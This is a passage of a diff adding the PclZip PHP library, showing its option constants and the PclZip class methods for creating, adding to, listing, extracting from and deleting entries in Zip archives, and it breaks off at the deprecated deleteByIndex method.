+  define( 'PCLZIP_OPT_PREPEND_COMMENT', 77014 );
+  define( 'PCLZIP_OPT_EXTRACT_IN_OUTPUT', 77015 );
+  define( 'PCLZIP_OPT_REPLACE_NEWER', 77016 );
+  define( 'PCLZIP_OPT_STOP_ON_ERROR', 77017 );
+  // Having big trouble with crypt. Need to multiply 2 long int
+  // which is not correctly supported by PHP ...
+  //define( 'PCLZIP_OPT_CRYPT', 77018 );
+  define( 'PCLZIP_OPT_EXTRACT_DIR_RESTRICTION', 77019 );
+  define( 'PCLZIP_OPT_TEMP_FILE_THRESHOLD', 77020 );
+  define( 'PCLZIP_OPT_ADD_TEMP_FILE_THRESHOLD', 77020 ); // alias
+  define( 'PCLZIP_OPT_TEMP_FILE_ON', 77021 );
+  define( 'PCLZIP_OPT_ADD_TEMP_FILE_ON', 77021 ); // alias
+  define( 'PCLZIP_OPT_TEMP_FILE_OFF', 77022 );
+  define( 'PCLZIP_OPT_ADD_TEMP_FILE_OFF', 77022 ); // alias
+
+  // ----- File description attributes
+  define( 'PCLZIP_ATT_FILE_NAME', 79001 );
+  define( 'PCLZIP_ATT_FILE_NEW_SHORT_NAME', 79002 );
+  define( 'PCLZIP_ATT_FILE_NEW_FULL_NAME', 79003 );
+  define( 'PCLZIP_ATT_FILE_MTIME', 79004 );
+  define( 'PCLZIP_ATT_FILE_CONTENT', 79005 );
+  define( 'PCLZIP_ATT_FILE_COMMENT', 79006 );
+
+  // ----- Call backs values
+  define( 'PCLZIP_CB_PRE_EXTRACT', 78001 );
+  define( 'PCLZIP_CB_POST_EXTRACT', 78002 );
+  define( 'PCLZIP_CB_PRE_ADD', 78003 );
+  define( 'PCLZIP_CB_POST_ADD', 78004 );
+  /* For futur use
+  define( 'PCLZIP_CB_PRE_LIST', 78005 );
+  define( 'PCLZIP_CB_POST_LIST', 78006 );
+  define( 'PCLZIP_CB_PRE_DELETE', 78007 );
+  define( 'PCLZIP_CB_POST_DELETE', 78008 );
+  */
+
+  // --------------------------------------------------------------------------------
+  // Class : PclZip
+  // Description :
+  //   PclZip is the class that represent a Zip archive.
+  //   The public methods allow the manipulation of the archive.
+  // Attributes :
+  //   Attributes must not be accessed directly.
+  // Methods :
+  //   PclZip() : Object creator
+  //   create() : Creates the Zip archive
+  //   listContent() : List the content of the Zip archive
+  //   extract() : Extract the content of the archive
+  //   properties() : List the properties of the archive
+  // --------------------------------------------------------------------------------
+  class PclZip
+  {
+    // ----- Filename of the zip file
+    var $zipname = '';
+
+    // ----- File descriptor of the zip file
+    var $zip_fd = 0;
+
+    // ----- Internal error handling
+    var $error_code = 1;
+    var $error_string = '';
+
+    // ----- Current status of the magic_quotes_runtime
+    // This value store the php configuration for magic_quotes
+    // The class can then disable the magic_quotes and reset it after
+    var $magic_quotes_status;
+
+  // --------------------------------------------------------------------------------
+  // Function : PclZip()
+  // Description :
+  //   Creates a PclZip object and set the name of the associated Zip archive
+  //   filename.
+  //   Note that no real action is taken, if the archive does not exist it is not
+  //   created. Use create() for that.
+  // --------------------------------------------------------------------------------
+  function __construct($p_zipname)
+  {
+
+    // ----- Tests the zlib
+    if (!function_exists('gzopen'))
+    {
+      die('Abort '.basename(__FILE__).' : Missing zlib extensions');
+    }
+
+    // ----- Set the attributes
+    $this->zipname = $p_zipname;
+    $this->zip_fd = 0;
+    $this->magic_quotes_status = -1;
+
+    // ----- Return
+    return;
+  }
+
+  public function PclZip($p_zipname) {
+    self::__construct($p_zipname);
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function :
+  //   create($p_filelist, $p_add_dir="", $p_remove_dir="")
+  //   create($p_filelist, $p_option, $p_option_value, ...)
+  // Description :
+  //   This method supports two different synopsis. The first one is historical.
+  //   This method creates a Zip Archive. The Zip file is created in the
+  //   filesystem. The files and directories indicated in $p_filelist
+  //   are added in the archive. See the parameters description for the
+  //   supported format of $p_filelist.
+  //   When a directory is in the list, the directory and its content is added
+  //   in the archive.
+  //   In this synopsis, the function takes an optional variable list of
+  //   options. See bellow the supported options.
+  // Parameters :
+  //   $p_filelist : An array containing file or directory names, or
+  //                 a string containing one filename or one directory name, or
+  //                 a string containing a list of filenames and/or directory
+  //                 names separated by spaces.
+  //   $p_add_dir : A path to add before the real path of the archived file,
+  //                in order to have it memorized in the archive.
+  //   $p_remove_dir : A path to remove from the real path of the file to archive,
+  //                   in order to have a shorter path memorized in the archive.
+  //                   When $p_add_dir and $p_remove_dir are set, $p_remove_dir
+  //                   is removed first, before $p_add_dir is added.
+  // Options :
+  //   PCLZIP_OPT_ADD_PATH :
+  //   PCLZIP_OPT_REMOVE_PATH :
+  //   PCLZIP_OPT_REMOVE_ALL_PATH :
+  //   PCLZIP_OPT_COMMENT :
+  //   PCLZIP_CB_PRE_ADD :
+  //   PCLZIP_CB_POST_ADD :
+  // Return Values :
+  //   0 on failure,
+  //   The list of the added files, with a status of the add action.
+  //   (see PclZip::listContent() for list entry format)
+  // --------------------------------------------------------------------------------
+  function create($p_filelist)
+  {
+    $v_result=1;
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Set default values
+    $v_options = array();
+    $v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE;
+
+    // ----- Look for variable options arguments
+    $v_size = func_num_args();
+
+    // ----- Look for arguments
+    if ($v_size > 1) {
+      // ----- Get the arguments
+      $v_arg_list = func_get_args();
+
+      // ----- Remove from the options list the first argument
+      array_shift($v_arg_list);
+      $v_size--;
+
+      // ----- Look for first arg
+      if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {
+
+        // ----- Parse the options
+        $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
+                                            array (PCLZIP_OPT_REMOVE_PATH => 'optional',
+                                                   PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
+                                                   PCLZIP_OPT_ADD_PATH => 'optional',
+                                                   PCLZIP_CB_PRE_ADD => 'optional',
+                                                   PCLZIP_CB_POST_ADD => 'optional',
+                                                   PCLZIP_OPT_NO_COMPRESSION => 'optional',
+                                                   PCLZIP_OPT_COMMENT => 'optional',
+                                                   PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
+                                                   PCLZIP_OPT_TEMP_FILE_ON => 'optional',
+                                                   PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
+                                                   //, PCLZIP_OPT_CRYPT => 'optional'
+                                             ));
+        if ($v_result != 1) {
+          return 0;
+        }
+      }
+
+      // ----- Look for 2 args
+      // Here we need to support the first historic synopsis of the
+      // method.
+      else {
+
+        // ----- Get the first argument
+        $v_options[PCLZIP_OPT_ADD_PATH] = $v_arg_list[0];
+
+        // ----- Look for the optional second argument
+        if ($v_size == 2) {
+          $v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1];
+        }
+        else if ($v_size > 2) {
+          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER,
+		                       "Invalid number / type of arguments");
+          return 0;
+        }
+      }
+    }
+
+    // ----- Look for default option values
+    $this->privOptionDefaultThreshold($v_options);
+
+    // ----- Init
+    $v_string_list = array();
+    $v_att_list = array();
+    $v_filedescr_list = array();
+    $p_result_list = array();
+
+    // ----- Look if the $p_filelist is really an array
+    if (is_array($p_filelist)) {
+
+      // ----- Look if the first element is also an array
+      //       This will mean that this is a file description entry
+      if (isset($p_filelist[0]) && is_array($p_filelist[0])) {
+        $v_att_list = $p_filelist;
+      }
+
+      // ----- The list is a list of string names
+      else {
+        $v_string_list = $p_filelist;
+      }
+    }
+
+    // ----- Look if the $p_filelist is a string
+    else if (is_string($p_filelist)) {
+      // ----- Create a list from the string
+      $v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist);
+    }
+
+    // ----- Invalid variable type for $p_filelist
+    else {
+      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_filelist");
+      return 0;
+    }
+
+    // ----- Reformat the string list
+    if (sizeof($v_string_list) != 0) {
+      foreach ($v_string_list as $v_string) {
+        if ($v_string != '') {
+          $v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string;
+        }
+        else {
+        }
+      }
+    }
+
+    // ----- For each file in the list check the attributes
+    $v_supported_attributes
+    = array ( PCLZIP_ATT_FILE_NAME => 'mandatory'
+             ,PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional'
+             ,PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional'
+             ,PCLZIP_ATT_FILE_MTIME => 'optional'
+             ,PCLZIP_ATT_FILE_CONTENT => 'optional'
+             ,PCLZIP_ATT_FILE_COMMENT => 'optional'
+						);
+    foreach ($v_att_list as $v_entry) {
+      $v_result = $this->privFileDescrParseAtt($v_entry,
+                                               $v_filedescr_list[],
+                                               $v_options,
+                                               $v_supported_attributes);
+      if ($v_result != 1) {
+        return 0;
+      }
+    }
+
+    // ----- Expand the filelist (expand directories)
+    $v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options);
+    if ($v_result != 1) {
+      return 0;
+    }
+
+    // ----- Call the create fct
+    $v_result = $this->privCreate($v_filedescr_list, $p_result_list, $v_options);
+    if ($v_result != 1) {
+      return 0;
+    }
+
+    // ----- Return
+    return $p_result_list;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function :
+  //   add($p_filelist, $p_add_dir="", $p_remove_dir="")
+  //   add($p_filelist, $p_option, $p_option_value, ...)
+  // Description :
+  //   This method supports two synopsis. The first one is historical.
+  //   This methods add the list of files in an existing archive.
+  //   If a file with the same name already exists, it is added at the end of the
+  //   archive, the first one is still present.
+  //   If the archive does not exist, it is created.
+  // Parameters :
+  //   $p_filelist : An array containing file or directory names, or
+  //                 a string containing one filename or one directory name, or
+  //                 a string containing a list of filenames and/or directory
+  //                 names separated by spaces.
+  //   $p_add_dir : A path to add before the real path of the archived file,
+  //                in order to have it memorized in the archive.
+  //   $p_remove_dir : A path to remove from the real path of the file to archive,
+  //                   in order to have a shorter path memorized in the archive.
+  //                   When $p_add_dir and $p_remove_dir are set, $p_remove_dir
+  //                   is removed first, before $p_add_dir is added.
+  // Options :
+  //   PCLZIP_OPT_ADD_PATH :
+  //   PCLZIP_OPT_REMOVE_PATH :
+  //   PCLZIP_OPT_REMOVE_ALL_PATH :
+  //   PCLZIP_OPT_COMMENT :
+  //   PCLZIP_OPT_ADD_COMMENT :
+  //   PCLZIP_OPT_PREPEND_COMMENT :
+  //   PCLZIP_CB_PRE_ADD :
+  //   PCLZIP_CB_POST_ADD :
+  // Return Values :
+  //   0 on failure,
+  //   The list of the added files, with a status of the add action.
+  //   (see PclZip::listContent() for list entry format)
+  // --------------------------------------------------------------------------------
+  function add($p_filelist)
+  {
+    $v_result=1;
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Set default values
+    $v_options = array();
+    $v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE;
+
+    // ----- Look for variable options arguments
+    $v_size = func_num_args();
+
+    // ----- Look for arguments
+    if ($v_size > 1) {
+      // ----- Get the arguments
+      $v_arg_list = func_get_args();
+
+      // ----- Remove form the options list the first argument
+      array_shift($v_arg_list);
+      $v_size--;
+
+      // ----- Look for first arg
+      if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {
+
+        // ----- Parse the options
+        $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
+                                            array (PCLZIP_OPT_REMOVE_PATH => 'optional',
+                                                   PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
+                                                   PCLZIP_OPT_ADD_PATH => 'optional',
+                                                   PCLZIP_CB_PRE_ADD => 'optional',
+                                                   PCLZIP_CB_POST_ADD => 'optional',
+                                                   PCLZIP_OPT_NO_COMPRESSION => 'optional',
+                                                   PCLZIP_OPT_COMMENT => 'optional',
+                                                   PCLZIP_OPT_ADD_COMMENT => 'optional',
+                                                   PCLZIP_OPT_PREPEND_COMMENT => 'optional',
+                                                   PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
+                                                   PCLZIP_OPT_TEMP_FILE_ON => 'optional',
+                                                   PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
+                                                   //, PCLZIP_OPT_CRYPT => 'optional'
+												   ));
+        if ($v_result != 1) {
+          return 0;
+        }
+      }
+
+      // ----- Look for 2 args
+      // Here we need to support the first historic synopsis of the
+      // method.
+      else {
+
+        // ----- Get the first argument
+        $v_options[PCLZIP_OPT_ADD_PATH] = $v_add_path = $v_arg_list[0];
+
+        // ----- Look for the optional second argument
+        if ($v_size == 2) {
+          $v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1];
+        }
+        else if ($v_size > 2) {
+          // ----- Error log
+          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");
+
+          // ----- Return
+          return 0;
+        }
+      }
+    }
+
+    // ----- Look for default option values
+    $this->privOptionDefaultThreshold($v_options);
+
+    // ----- Init
+    $v_string_list = array();
+    $v_att_list = array();
+    $v_filedescr_list = array();
+    $p_result_list = array();
+
+    // ----- Look if the $p_filelist is really an array
+    if (is_array($p_filelist)) {
+
+      // ----- Look if the first element is also an array
+      //       This will mean that this is a file description entry
+      if (isset($p_filelist[0]) && is_array($p_filelist[0])) {
+        $v_att_list = $p_filelist;
+      }
+
+      // ----- The list is a list of string names
+      else {
+        $v_string_list = $p_filelist;
+      }
+    }
+
+    // ----- Look if the $p_filelist is a string
+    else if (is_string($p_filelist)) {
+      // ----- Create a list from the string
+      $v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist);
+    }
+
+    // ----- Invalid variable type for $p_filelist
+    else {
+      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type '".gettype($p_filelist)."' for p_filelist");
+      return 0;
+    }
+
+    // ----- Reformat the string list
+    if (sizeof($v_string_list) != 0) {
+      foreach ($v_string_list as $v_string) {
+        $v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string;
+      }
+    }
+
+    // ----- For each file in the list check the attributes
+    $v_supported_attributes
+    = array ( PCLZIP_ATT_FILE_NAME => 'mandatory'
+             ,PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional'
+             ,PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional'
+             ,PCLZIP_ATT_FILE_MTIME => 'optional'
+             ,PCLZIP_ATT_FILE_CONTENT => 'optional'
+             ,PCLZIP_ATT_FILE_COMMENT => 'optional'
+						);
+    foreach ($v_att_list as $v_entry) {
+      $v_result = $this->privFileDescrParseAtt($v_entry,
+                                               $v_filedescr_list[],
+                                               $v_options,
+                                               $v_supported_attributes);
+      if ($v_result != 1) {
+        return 0;
+      }
+    }
+
+    // ----- Expand the filelist (expand directories)
+    $v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options);
+    if ($v_result != 1) {
+      return 0;
+    }
+
+    // ----- Call the create fct
+    $v_result = $this->privAdd($v_filedescr_list, $p_result_list, $v_options);
+    if ($v_result != 1) {
+      return 0;
+    }
+
+    // ----- Return
+    return $p_result_list;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : listContent()
+  // Description :
+  //   This public method, gives the list of the files and directories, with their
+  //   properties.
+  //   The properties of each entries in the list are (used also in other functions) :
+  //     filename : Name of the file. For a create or add action it is the filename
+  //                given by the user. For an extract function it is the filename
+  //                of the extracted file.
+  //     stored_filename : Name of the file / directory stored in the archive.
+  //     size : Size of the stored file.
+  //     compressed_size : Size of the file's data compressed in the archive
+  //                       (without the headers overhead)
+  //     mtime : Last known modification date of the file (UNIX timestamp)
+  //     comment : Comment associated with the file
+  //     folder : true | false
+  //     index : index of the file in the archive
+  //     status : status of the action (depending of the action) :
+  //              Values are :
+  //                ok : OK !
+  //                filtered : the file / dir is not extracted (filtered by user)
+  //                already_a_directory : the file can not be extracted because a
+  //                                      directory with the same name already exists
+  //                write_protected : the file can not be extracted because a file
+  //                                  with the same name already exists and is
+  //                                  write protected
+  //                newer_exist : the file was not extracted because a newer file exists
+  //                path_creation_fail : the file is not extracted because the folder
+  //                                     does not exist and can not be created
+  //                write_error : the file was not extracted because there was a
+  //                              error while writing the file
+  //                read_error : the file was not extracted because there was a error
+  //                             while reading the file
+  //                invalid_header : the file was not extracted because of an archive
+  //                                 format error (bad file header)
+  //   Note that each time a method can continue operating when there
+  //   is an action error on a file, the error is only logged in the file status.
+  // Return Values :
+  //   0 on an unrecoverable failure,
+  //   The list of the files in the archive.
+  // --------------------------------------------------------------------------------
+  function listContent()
+  {
+    $v_result=1;
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Check archive
+    if (!$this->privCheckFormat()) {
+      return(0);
+    }
+
+    // ----- Call the extracting fct
+    $p_list = array();
+    if (($v_result = $this->privList($p_list)) != 1)
+    {
+      unset($p_list);
+      return(0);
+    }
+
+    // ----- Return
+    return $p_list;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function :
+  //   extract($p_path="./", $p_remove_path="")
+  //   extract([$p_option, $p_option_value, ...])
+  // Description :
+  //   This method supports two synopsis. The first one is historical.
+  //   This method extract all the files / directories from the archive to the
+  //   folder indicated in $p_path.
+  //   If you want to ignore the 'root' part of path of the memorized files
+  //   you can indicate this in the optional $p_remove_path parameter.
+  //   By default, if a newer file with the same name already exists, the
+  //   file is not extracted.
+  //
+  //   If both PCLZIP_OPT_PATH and PCLZIP_OPT_ADD_PATH aoptions
+  //   are used, the path indicated in PCLZIP_OPT_ADD_PATH is append
+  //   at the end of the path value of PCLZIP_OPT_PATH.
+  // Parameters :
+  //   $p_path : Path where the files and directories are to be extracted
+  //   $p_remove_path : First part ('root' part) of the memorized path
+  //                    (if any similar) to remove while extracting.
+  // Options :
+  //   PCLZIP_OPT_PATH :
+  //   PCLZIP_OPT_ADD_PATH :
+  //   PCLZIP_OPT_REMOVE_PATH :
+  //   PCLZIP_OPT_REMOVE_ALL_PATH :
+  //   PCLZIP_CB_PRE_EXTRACT :
+  //   PCLZIP_CB_POST_EXTRACT :
+  // Return Values :
+  //   0 or a negative value on failure,
+  //   The list of the extracted files, with a status of the action.
+  //   (see PclZip::listContent() for list entry format)
+  // --------------------------------------------------------------------------------
+  function extract()
+  {
+    $v_result=1;
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Check archive
+    if (!$this->privCheckFormat()) {
+      return(0);
+    }
+
+    // ----- Set default values
+    $v_options = array();
+//    $v_path = "./";
+    $v_path = '';
+    $v_remove_path = "";
+    $v_remove_all_path = false;
+
+    // ----- Look for variable options arguments
+    $v_size = func_num_args();
+
+    // ----- Default values for option
+    $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE;
+
+    // ----- Look for arguments
+    if ($v_size > 0) {
+      // ----- Get the arguments
+      $v_arg_list = func_get_args();
+
+      // ----- Look for first arg
+      if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {
+
+        // ----- Parse the options
+        $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
+                                            array (PCLZIP_OPT_PATH => 'optional',
+                                                   PCLZIP_OPT_REMOVE_PATH => 'optional',
+                                                   PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
+                                                   PCLZIP_OPT_ADD_PATH => 'optional',
+                                                   PCLZIP_CB_PRE_EXTRACT => 'optional',
+                                                   PCLZIP_CB_POST_EXTRACT => 'optional',
+                                                   PCLZIP_OPT_SET_CHMOD => 'optional',
+                                                   PCLZIP_OPT_BY_NAME => 'optional',
+                                                   PCLZIP_OPT_BY_EREG => 'optional',
+                                                   PCLZIP_OPT_BY_PREG => 'optional',
+                                                   PCLZIP_OPT_BY_INDEX => 'optional',
+                                                   PCLZIP_OPT_EXTRACT_AS_STRING => 'optional',
+                                                   PCLZIP_OPT_EXTRACT_IN_OUTPUT => 'optional',
+                                                   PCLZIP_OPT_REPLACE_NEWER => 'optional'
+                                                   ,PCLZIP_OPT_STOP_ON_ERROR => 'optional'
+                                                   ,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional',
+                                                   PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
+                                                   PCLZIP_OPT_TEMP_FILE_ON => 'optional',
+                                                   PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
+												    ));
+        if ($v_result != 1) {
+          return 0;
+        }
+
+        // ----- Set the arguments
+        if (isset($v_options[PCLZIP_OPT_PATH])) {
+          $v_path = $v_options[PCLZIP_OPT_PATH];
+        }
+        if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) {
+          $v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH];
+        }
+        if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {
+          $v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH];
+        }
+        if (isset($v_options[PCLZIP_OPT_ADD_PATH])) {
+          // ----- Check for '/' in last path char
+          if ((strlen($v_path) > 0) && (substr($v_path, -1) != '/')) {
+            $v_path .= '/';
+          }
+          $v_path .= $v_options[PCLZIP_OPT_ADD_PATH];
+        }
+      }
+
+      // ----- Look for 2 args
+      // Here we need to support the first historic synopsis of the
+      // method.
+      else {
+
+        // ----- Get the first argument
+        $v_path = $v_arg_list[0];
+
+        // ----- Look for the optional second argument
+        if ($v_size == 2) {
+          $v_remove_path = $v_arg_list[1];
+        }
+        else if ($v_size > 2) {
+          // ----- Error log
+          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");
+
+          // ----- Return
+          return 0;
+        }
+      }
+    }
+
+    // ----- Look for default option values
+    $this->privOptionDefaultThreshold($v_options);
+
+    // ----- Trace
+
+    // ----- Call the extracting fct
+    $p_list = array();
+    $v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path,
+	                                     $v_remove_all_path, $v_options);
+    if ($v_result < 1) {
+      unset($p_list);
+      return(0);
+    }
+
+    // ----- Return
+    return $p_list;
+  }
+  // --------------------------------------------------------------------------------
+
+
+  // --------------------------------------------------------------------------------
+  // Function :
+  //   extractByIndex($p_index, $p_path="./", $p_remove_path="")
+  //   extractByIndex($p_index, [$p_option, $p_option_value, ...])
+  // Description :
+  //   This method supports two synopsis. The first one is historical.
+  //   This method is doing a partial extract of the archive.
+  //   The extracted files or folders are identified by their index in the
+  //   archive (from 0 to n).
+  //   Note that if the index identify a folder, only the folder entry is
+  //   extracted, not all the files included in the archive.
+  // Parameters :
+  //   $p_index : A single index (integer) or a string of indexes of files to
+  //              extract. The form of the string is "0,4-6,8-12" with only numbers
+  //              and '-' for range or ',' to separate ranges. No spaces or ';'
+  //              are allowed.
+  //   $p_path : Path where the files and directories are to be extracted
+  //   $p_remove_path : First part ('root' part) of the memorized path
+  //                    (if any similar) to remove while extracting.
+  // Options :
+  //   PCLZIP_OPT_PATH :
+  //   PCLZIP_OPT_ADD_PATH :
+  //   PCLZIP_OPT_REMOVE_PATH :
+  //   PCLZIP_OPT_REMOVE_ALL_PATH :
+  //   PCLZIP_OPT_EXTRACT_AS_STRING : The files are extracted as strings and
+  //     not as files.
+  //     The resulting content is in a new field 'content' in the file
+  //     structure.
+  //     This option must be used alone (any other options are ignored).
+  //   PCLZIP_CB_PRE_EXTRACT :
+  //   PCLZIP_CB_POST_EXTRACT :
+  // Return Values :
+  //   0 on failure,
+  //   The list of the extracted files, with a status of the action.
+  //   (see PclZip::listContent() for list entry format)
+  // --------------------------------------------------------------------------------
+  //function extractByIndex($p_index, options...)
+  function extractByIndex($p_index)
+  {
+    $v_result=1;
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Check archive
+    if (!$this->privCheckFormat()) {
+      return(0);
+    }
+
+    // ----- Set default values
+    $v_options = array();
+//    $v_path = "./";
+    $v_path = '';
+    $v_remove_path = "";
+    $v_remove_all_path = false;
+
+    // ----- Look for variable options arguments
+    $v_size = func_num_args();
+
+    // ----- Default values for option
+    $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE;
+
+    // ----- Look for arguments
+    if ($v_size > 1) {
+      // ----- Get the arguments
+      $v_arg_list = func_get_args();
+
+      // ----- Remove form the options list the first argument
+      array_shift($v_arg_list);
+      $v_size--;
+
+      // ----- Look for first arg
+      if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {
+
+        // ----- Parse the options
+        $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
+                                            array (PCLZIP_OPT_PATH => 'optional',
+                                                   PCLZIP_OPT_REMOVE_PATH => 'optional',
+                                                   PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
+                                                   PCLZIP_OPT_EXTRACT_AS_STRING => 'optional',
+                                                   PCLZIP_OPT_ADD_PATH => 'optional',
+                                                   PCLZIP_CB_PRE_EXTRACT => 'optional',
+                                                   PCLZIP_CB_POST_EXTRACT => 'optional',
+                                                   PCLZIP_OPT_SET_CHMOD => 'optional',
+                                                   PCLZIP_OPT_REPLACE_NEWER => 'optional'
+                                                   ,PCLZIP_OPT_STOP_ON_ERROR => 'optional'
+                                                   ,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional',
+                                                   PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
+                                                   PCLZIP_OPT_TEMP_FILE_ON => 'optional',
+                                                   PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
+												   ));
+        if ($v_result != 1) {
+          return 0;
+        }
+
+        // ----- Set the arguments
+        if (isset($v_options[PCLZIP_OPT_PATH])) {
+          $v_path = $v_options[PCLZIP_OPT_PATH];
+        }
+        if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) {
+          $v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH];
+        }
+        if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {
+          $v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH];
+        }
+        if (isset($v_options[PCLZIP_OPT_ADD_PATH])) {
+          // ----- Check for '/' in last path char
+          if ((strlen($v_path) > 0) && (substr($v_path, -1) != '/')) {
+            $v_path .= '/';
+          }
+          $v_path .= $v_options[PCLZIP_OPT_ADD_PATH];
+        }
+        if (!isset($v_options[PCLZIP_OPT_EXTRACT_AS_STRING])) {
+          $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE;
+        }
+        else {
+        }
+      }
+
+      // ----- Look for 2 args
+      // Here we need to support the first historic synopsis of the
+      // method.
+      else {
+
+        // ----- Get the first argument
+        $v_path = $v_arg_list[0];
+
+        // ----- Look for the optional second argument
+        if ($v_size == 2) {
+          $v_remove_path = $v_arg_list[1];
+        }
+        else if ($v_size > 2) {
+          // ----- Error log
+          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");
+
+          // ----- Return
+          return 0;
+        }
+      }
+    }
+
+    // ----- Trace
+
+    // ----- Trick
+    // Here I want to reuse extractByRule(), so I need to parse the $p_index
+    // with privParseOptions()
+    $v_arg_trick = array (PCLZIP_OPT_BY_INDEX, $p_index);
+    $v_options_trick = array();
+    $v_result = $this->privParseOptions($v_arg_trick, sizeof($v_arg_trick), $v_options_trick,
+                                        array (PCLZIP_OPT_BY_INDEX => 'optional' ));
+    if ($v_result != 1) {
+        return 0;
+    }
+    $v_options[PCLZIP_OPT_BY_INDEX] = $v_options_trick[PCLZIP_OPT_BY_INDEX];
+
+    // ----- Look for default option values
+    $this->privOptionDefaultThreshold($v_options);
+
+    // ----- Call the extracting fct
+    if (($v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path, $v_remove_all_path, $v_options)) < 1) {
+        return(0);
+    }
+
+    // ----- Return
+    return $p_list;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function :
+  //   delete([$p_option, $p_option_value, ...])
+  // Description :
+  //   This method removes files from the archive.
+  //   If no parameters are given, then all the archive is emptied.
+  // Parameters :
+  //   None or optional arguments.
+  // Options :
+  //   PCLZIP_OPT_BY_INDEX :
+  //   PCLZIP_OPT_BY_NAME :
+  //   PCLZIP_OPT_BY_EREG :
+  //   PCLZIP_OPT_BY_PREG :
+  // Return Values :
+  //   0 on failure,
+  //   The list of the files which are still present in the archive.
+  //   (see PclZip::listContent() for list entry format)
+  // --------------------------------------------------------------------------------
+  function delete()
+  {
+    $v_result=1;
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Check archive
+    if (!$this->privCheckFormat()) {
+      return(0);
+    }
+
+    // ----- Set default values
+    $v_options = array();
+
+    // ----- Look for variable options arguments
+    $v_size = func_num_args();
+
+    // ----- Look for arguments
+    if ($v_size > 0) {
+      // ----- Get the arguments
+      $v_arg_list = func_get_args();
+
+      // ----- Parse the options
+      $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
+                                        array (PCLZIP_OPT_BY_NAME => 'optional',
+                                               PCLZIP_OPT_BY_EREG => 'optional',
+                                               PCLZIP_OPT_BY_PREG => 'optional',
+                                               PCLZIP_OPT_BY_INDEX => 'optional' ));
+      if ($v_result != 1) {
+          return 0;
+      }
+    }
+
+    // ----- Magic quotes trick
+    $this->privDisableMagicQuotes();
+
+    // ----- Call the delete fct
+    $v_list = array();
+    if (($v_result = $this->privDeleteByRule($v_list, $v_options)) != 1) {
+      $this->privSwapBackMagicQuotes();
+      unset($v_list);
+      return(0);
+    }
+
+    // ----- Magic quotes trick
+    $this->privSwapBackMagicQuotes();
+
+    // ----- Return
+    return $v_list;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : deleteByIndex()
+  // Description :
+  //   ***** Deprecated *****
